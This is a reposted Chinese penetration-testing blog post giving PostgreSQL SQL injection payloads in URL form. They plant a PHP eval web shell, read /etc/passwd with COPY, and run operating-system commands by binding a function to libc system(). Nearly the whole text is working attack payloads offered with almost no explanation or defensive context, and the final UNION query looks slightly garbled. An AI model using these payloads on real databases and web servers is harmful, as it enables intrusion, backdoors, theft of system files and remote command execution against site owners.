首页 > 渗透测试 > [zz]postgresql注射的一些东西

[zz]postgresql注射的一些东西

2010年3月28日   2,440 views 发表评论 阅读评论

来源:http://hi.baidu.com/p3rlish/blog/item/f3f96d1f71b97cfee0fe0bd7.html

转自:影子牛

如何获得webshell

http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);

http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);

http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;

如何读文件
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
http://127.0.0.1/postgresql.php?id=1;select * from myfile;

z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
当然,这些的postgresql的数据库版本必须大于8.X
创建一个system的函数:
CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT

创建一个输出表:
CREATE TABLE stdout(id serial, system_out text)

执行shell,输出到输出表内:
SELECT system(‘uname -a > /tmp/test’)

copy 输出的内容到表里面
COPY stdout(system_out) FROM ‘/tmp/test’

从输出表内读取执行后的回显,判断是否执行成功

SELECT system_out FROM stdout
下面是测试例子

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.